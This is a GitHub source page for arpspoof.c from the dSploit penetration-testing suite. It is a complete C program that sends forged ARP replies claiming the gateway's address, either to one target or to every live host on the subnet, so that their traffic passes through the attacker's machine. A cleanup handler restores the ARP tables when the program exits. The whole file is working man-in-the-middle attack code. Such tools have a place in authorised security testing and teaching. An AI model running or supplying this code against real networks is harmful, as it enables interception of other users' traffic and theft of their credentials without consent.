-
Notifications
You must be signed in to change notification settings - Fork 19
/
Copy patharpspoof.c
214 lines (181 loc) · 5.18 KB
/
arpspoof.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
/*
* This file is part of the dSploit.
*
* Copyleft of Simone Margaritelli aka evilsocket <[email protected]>
*
* dSploit is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* dSploit is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with dSploit. If not, see <http://www.gnu.org/licenses/>.
*/
#include <sys/param.h>
#include <string.h>
#include <signal.h>
#include "arp.h"
#include "net.h"
static libnet_t *lnet;
static struct ether_addr *our_mac, target_mac;
static in_addr_t gateway_ip, target_ip;
static char *iface;
static Hashmap *netmap = NULL;
static int killed = 0;
static void cleanup(int sig)
{
killed = 1;
printf( "Restoring arp table ...\n" );
int i, j;
struct ether_addr gateway_mac;
if( netmap == NULL )
{
if( arp_lookup( gateway_ip, &gateway_mac, iface ) == 0 )
{
for( i = 0; i < 3; i++ )
{
/* XXX - on BSD, requires ETHERSPOOF kernel. */
arp_send( lnet, ARPOP_REPLY, (unsigned char *)&gateway_mac, gateway_ip, (unsigned char *)&target_mac, target_ip );
sleep(1);
}
}
}
else
{
if( arp_lookup( gateway_ip, &gateway_mac, iface ) == 0 )
{
for( i = 0; i < 3; i++ )
{
for( j = 0; j < netmap->bucketCount; j++ )
{
Entry* hentry = netmap->buckets[j];
while( hentry != NULL )
{
Entry *next = hentry->next;
network_entry_t *entry = ( network_entry_t * )hentry->value;
arp_send( lnet, ARPOP_REPLY, (unsigned char *)&gateway_mac, gateway_ip, entry->mac, entry->address );
hentry = next;
}
}
sleep(1);
}
}
hashmapFree( netmap );
}
exit(0);
}
int main(int argc, char *argv[])
{
extern char *optarg;
extern int optind;
char pcap_ebuf[PCAP_ERRBUF_SIZE];
char libnet_ebuf[LIBNET_ERRBUF_SIZE];
int c,
netmask = 0,
ifaddr = 0,
nhosts = 0,
i = 0;
network_entry_t *entry;
iface = NULL;
gateway_ip = target_ip = 0;
// unbuffered stdout
setbuf(stdout,NULL);
printf( "dSploit ArpSpoofer.\n\n" );
while( (c = getopt(argc, argv, "i:t:h?V")) != -1)
{
switch (c)
{
case 'i':
iface = optarg;
break;
case 't':
if ((target_ip = libnet_name2addr4(lnet, optarg, LIBNET_RESOLVE)) == -1)
exit(1);
break;
default:
return 1;
}
}
argc -= optind;
argv += optind;
if (argc != 1)
return 1;
if( ( gateway_ip = libnet_name2addr4( lnet, argv[0], LIBNET_RESOLVE ) ) == -1 )
{
printf( "[ERROR] Unable to resolve gateway ip.\n" );
return 1;
}
if( iface == NULL && (iface = pcap_lookupdev(pcap_ebuf)) == NULL )
{
printf( "[ERROR] Unable to lookup network interface ( %s ).\n", pcap_ebuf );
return 1;
}
if( ( lnet = libnet_init(LIBNET_LINK, iface, libnet_ebuf) ) == NULL )
{
printf( "[ERROR] Unable to initialize libnet ( %s ).\n", libnet_ebuf );
return 1;
}
signal( SIGHUP, cleanup );
signal( SIGINT, cleanup );
signal( SIGTERM, cleanup );
our_mac = ( struct ether_addr * )libnet_get_hwaddr( lnet );
if( our_mac == NULL )
{
printf( "[ERROR] Unable to retrieve local hardware address libnet ( %s ).\n", libnet_geterror( lnet ) );
return 1;
}
if( net_get_details( iface, &netmask, &ifaddr, &nhosts ) != 0 )
exit( 1 );
printf( "netmask = %s\n", inet_ntoa( *( struct in_addr *)&netmask ) );
printf( "ifaddr = %s\n", inet_ntoa( *( struct in_addr *)&ifaddr ) );
printf( "gateway = %s\n", inet_ntoa( *( struct in_addr *)&gateway_ip ) );
printf( "hosts = %d\n", nhosts );
// force the arp cache to be populated
net_wake( iface, nhosts, ifaddr, netmask, gateway_ip );
// if the target is the gateway itself, we switch to subnet mode,
// otherwise if the target was set, we are in single ip spoofing mode.
if( target_ip != 0 && target_ip != gateway_ip )
{
if( target_ip != 0 && arp_lookup( target_ip, &target_mac, iface ) != 0 )
{
printf( "[ERROR] Couldn't find a cached MAC address for %s, try to wait a little bit and then try again or restart the network discovery.\n", libnet_addr2name4(target_ip, LIBNET_DONT_RESOLVE) );
return 1;
}
printf( "\nSingle target mode.\n" );
while( killed == 0 )
{
arp_send( lnet, ARPOP_REPLY, (unsigned char *)our_mac, gateway_ip, (unsigned char *)&target_mac, target_ip );
sleep(1);
}
}
// whole network spoofing
else
{
printf( "\nSubnet mode.\n" );
netmap = net_get_mapping( iface, nhosts, ifaddr, netmask, gateway_ip, &i );
if( i == 0 )
{
printf( "[ERROR] No alive endpoints found.\n" );
return 1;
}
while( killed == 0 )
{
for( i = 1; i <= nhosts && killed == 0; i++ )
{
target_ip = ( ifaddr & netmask ) | htonl(i);
entry = hashmapGet( netmap, (void *)target_ip );
if( entry && killed == 0 )
{
arp_send( lnet, ARPOP_REPLY, (unsigned char *)our_mac, gateway_ip, (unsigned char *)&entry->mac, target_ip );
}
}
sleep(1);
}
}
return 0;
}